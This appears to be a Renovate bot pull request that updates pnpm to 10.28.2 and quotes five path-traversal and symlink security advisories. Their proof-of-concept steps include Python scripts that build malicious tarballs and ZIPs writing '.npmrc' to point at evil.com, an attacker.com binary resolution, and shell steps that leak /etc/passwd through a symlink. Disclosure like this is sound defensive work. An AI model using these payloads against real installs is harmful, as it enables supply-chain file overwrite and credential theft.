Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jan 28, 2026

This PR contains the following updates:

Package Change Age Confidence
pnpm (source) 10.27.010.28.2 age confidence

pnpm has Windows-specific tarball Path Traversal

CVE-2026-23889 / GHSA-6x96-7vc8-cm3p

More information

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

  • On Unix: Backslashes are literal filename characters (safe)
  • On Windows: Backslashes are directory separators (exploitable)
PoC
  1. Create a malicious tarball with entry package/foo\..\..\.npmrc
  2. Host it or use as a tarball URL dependency
  3. On Windows: pnpm install
  4. Observe .npmrc written outside package directory
import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())
Impact
  • Windows pnpm users
  • Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
  • Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

CVE-2026-23890 / GHSA-xpqm-wm3m-f34h

More information

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @&#8203;scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC
  1. Create a malicious package:
{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@&#8203;scope/../../.npmrc": "./malicious.js"
  }
}
  1. Install the package:
pnpm add /path/to/malicious-pkg
  1. Observe .npmrc created in project root (outside node_modules/.bin).
Impact
  • All pnpm users who install npm packages
  • CI/CD pipelines using pnpm
  • Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

CVE-2026-23888 / GHSA-6pfh-p556-v868

More information

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}
Impact
  • All pnpm users who install packages with binary assets
  • Users who configure custom Node.js binary locations
  • CI/CD pipelines that auto-install binary dependencies
  • Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm has Path Traversal via arbitrary file permission modification

CVE-2026-24131 / GHSA-v253-rj99-jwpq

More information

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC
##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)
Impact
  • Supply-chain attack via npm packages
  • File permissions changed from 600 to 755 (world-readable)
  • Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm has symlink traversal in file:/git dependencies

CVE-2026-24056 / GHSA-m733-5w8f-5ggw

More information

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC
##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt
Impact
  • Developers installing local/file dependencies
  • CI/CD pipelines installing git dependencies
  • Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa
Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

pnpm/pnpm (pnpm)

v10.28.2

Compare Source

v10.28.1

Compare Source

v10.28.0

Compare Source


Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants